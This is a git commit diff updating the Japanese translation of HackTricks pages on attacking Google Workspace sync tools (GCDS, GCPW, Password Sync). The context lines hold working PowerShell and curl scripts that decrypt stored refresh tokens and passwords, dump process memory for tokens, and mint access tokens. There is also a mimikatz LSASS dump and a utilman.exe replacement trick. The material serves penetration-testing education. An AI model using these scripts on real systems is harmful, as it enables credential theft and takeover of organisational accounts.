Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:42:04 +00:00
parent 09b9fafab2
commit 0441b77cc4
42 changed files with 791 additions and 798 deletions
@@ -6,21 +6,21 @@
これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です(執筆時点ではその逆はできません)。
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、興味深いです。したがって、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
> [!NOTE]
> **`config-manager.exe`**バイナリに対して**MitM**を実行するには、`config.manager.vmoptions`ファイルに次の行を追加してください: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像ように:
また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像に示すように:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - ディスクトークンとAD資格情報
バイナリ`config-manager.exe`(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルに保存します。ただし、ユーザーの`Documents`や**他の任意のフォルダー**に保存される可能性もあります。
バイナリ`config-manager.exe`(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に保存します。保存先は**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルです。ユーザーの`Documents`や**他の任意のフォルダー**に保存されることもあります。
さらに、レジストリ**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**内のキー**`open.recent`**には、最近開かれたすべての構成ファイル(xml)のパスが含まれています。したがって、**それを確認して見つけることが可能です**。
@@ -49,12 +49,12 @@
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています**`prefs`** Javaライブラリが設定を保存する場所)文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されており**`prefs`** Javaライブラリが設定を保存する場所)文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
<details>
<summary>リフレッシュトークンとパスワードを復号化するためのPowershellスクリプト</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE]
> この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認できることに注意してください(これはバイナリ `upgrade-config.exe` がキーをダンプするために期待するCLIパラメータです)。
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータ使用し、レジストリから **Key****IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key****IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。
### GCDS - メモリからのトークンのダンプ
@@ -162,7 +162,7 @@ ADに設定された資格情報も見つけることができると思います
<details>
<summary>config-manager.exeプロセスをダンプしてトークンを検索する</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - リフレッシュトークンからアクセストークンを生成する
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - スコープ
> [!NOTE]
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、**アクセス トークンを生成しているアプリケーションでサポートされているスコープのみを要求できるからです**
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、アクセス トークンを生成しているアプリケーションでサポートされている**スコープのみを要求できる**からです。
>
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
```
</details>
そして、これが執筆時に得られた出力です
そして、これが執筆時に得られた出力です:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -7,7 +7,7 @@
これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえ取得できることに注意してください。
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報**トークン**さえ取得できることに注意してください。
### GCPW - MitM
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
新しい行が追加されて、より読みやすくなっています。
> [!NOTE]
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動して構成する**ことができます。\
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動および構成**できます。\
> `Proxifier`でQUICK UDPトラフィックを**ブロック**することを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。
>
> また、「サービスおよび他のユーザー」で両方のオプションを設定し、WindowsにBurp CA証明書をインストールしてください。
> また、「サービスおよび他のユーザー」で両方のオプションを構成し、WindowsにBurp CA証明書をインストールしてください。
さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1``log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。
さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`および`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。
### GCPW - フィンガープリント
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します
```powershell
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
**`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
In **`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
**`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメールアドレス、写真、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。
> [!NOTE]
> トークンハンドルは `eth.` で始まるトークンで、次のようなリクエストでいくつかの情報を抽出できます:
@@ -74,7 +72,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
> -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
> # 例の応答
> # Example response
> {
> "audience": "77185425430.apps.googleusercontent.com",
> "scope": "https://www.google.com/accounts/OAuthLogin",
@@ -87,7 +85,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
> -d 'access_token=<access token>'
> # 例の応答
> # Example response
> {
> "issued_to": "77185425430.apps.googleusercontent.com",
> "audience": "77185425430.apps.googleusercontent.com",
@@ -100,7 +98,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
>
> 知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することはできません。
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment``enableGcpAutoUpdate``enableMultiUserLogin`(複数のWorkspaceユーザーがコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むJSONです。
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment``enableGcpAutoUpdate``enableMultiUserLogin`(複数のWorkspaceユーザーがコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むjsonです。
## GCPW - トークンの取得
@@ -110,8 +108,8 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
<details>
<summary><strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> のデータを取得し、refresh_tokensを復号化する</summary>
```powershell
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
[**このビデオ**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
[**この動画**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
### GCPW - ディスクリフレッシュトークン
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
さらに、暗号化はこのコードで見つけることができます:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**サイファーテキスト**と**16BのMAC**があります。
AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**16BのMAC**を持つ**暗号文**があります。
### GCPW - プロセスメモリからのトークンダンプ
以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセストークン**および**リフレッシュトークン**に関連する文字列を**検索**できます。ChromeがいくつかのGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!**
以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセスおよびリフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセス トークンを保存しています!**
<details>
<summary>Chromeプロセスをダンプしてトークンを検索</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
`gcpw_extension.exe`を使って同じことを試みましたが、トークンは見つかりませんでした。
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ文字を削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
<details>
<summary>1文字ずつ文字を削除してアクセストークンを確認する</summary>
<summary>1文字ずつ削除してアクセストークンを確認する</summary>
```bash
#!/bin/bash
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
さらに、Chromiumのソースコードを確認すると、[**このファイル**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)を見つけることができ、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
さらに、Chromiumのソースコードを確認すると、[**このファイルを見つけることができます**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
<details>
@@ -463,7 +461,7 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
最も興味深いのはおそらく次のものです
最も興味深いのはおそらく次のものです:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -760,10 +758,10 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータの保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。
**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータのデータ保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。
- Google Workspace Vaultにおける**Matter**は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する**コンテナ**です。これは、その特定の問題に関連する**Holds**、**Searches**、および**Exports**を管理するための中心的なハブとして機能します。
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
```bash
# List matters
curl -X GET \
@@ -791,13 +789,13 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
より多くの [API エンドポイントはドキュメントにあります](https://developers.google.com/vault/reference/rest)
</details>
## GCPW - 平文パスワードの回復
GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です:
GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -805,7 +803,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵を要求することができます:
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます:
<details>
@@ -16,33 +16,33 @@
- GUIのあるドメインコントローラーでのみ利用可能
- **Workspaceユーザーを管理する**権限を持つ**GCPのサービスアカウントの資格情報**(jsonファイル)を提供
- これらの資格情報は期限切れにならず、悪用される可能性があるため非常に悪いアイデアです
- SAがGCPで侵害される可能性があるため、Workspaceに対してSAアクセスを与えるのは非常に悪いアイデアです
- GUIのないドメインコントロール用にGoogleが要求します
- SAがGCPで侵害される可能性があるため、WorkspaceへのSAアクセスを与えるのは非常に悪いアイデアです
- GUIのないドメイン制御にはGoogleが必要とします
- これらの資格情報もレジストリに保存されます
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化**されて**レジストリ**に保存されます。
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化され**て**レジストリ**に保存されます。
### GPS - ディスクからのパスワードとトークンのダンプ
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、設定に関する情報を取得し、**パスワードとトークンを復号化する**ことができます。
**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**ファイル内には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。
ファイル**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**には、設定の一部として**ADの`baseDN`**や使用されている**ユーザー名**が見つかります。
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、**暗号化されたリフレッシュトークン**と**ADユーザーのための暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
暗号化された**パスワード**(存在する場合)は**`ADPassword`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
暗号化されたトークン(存在する場合)は**`AuthToken`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使用してbase32hexでエンコードされています。
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、これにより設定されたパスワードと認証トークン最初に復号化され、ツールは両方のケースで使用された**エントロピーの値**を**表示**します:
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、設定されたパスワードと認証トークン最初に復号化、ツールは両方のケースで使用されたエントロピーの値を**表示**します:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
これらのAPIへの呼び出しの入力または出力で**復号化された**値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。
パスワード同期が**SA資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
パスワード同期が**SA資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
### GPS - メモリからのトークンのダンプ
@@ -52,7 +52,7 @@ ADに設定された資格情報も見つけることができると思います
<details>
<summary><code>PasswordSync.exe</code>および<code>password_sync_service.exe</code>プロセスをダンプしてトークンを検索</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -148,7 +148,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>スコープをブルートフォースするためのBashスクリプト</summary>
<summary>Bashスクリプトでスコープをブルートフォースする</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -172,13 +172,13 @@ rm /tmp/valid_scopes.txt
```
</details>
そして、これが執筆時に得られた出力です
そして、これが執筆時に得られた出力です:
```
https://www.googleapis.com/auth/admin.directory.user
```
どのスコープも指定しない場合と同じです。
> [!CAUTION]
> このスコープでは、**既存のユーザーのパスワードを変更して権を昇格させる**ことができます。
> このスコープでは、**既存のユーザーのパスワードを変更して権を昇格させる**ことができます。
{{#include ../../../banners/hacktricks-training.md}}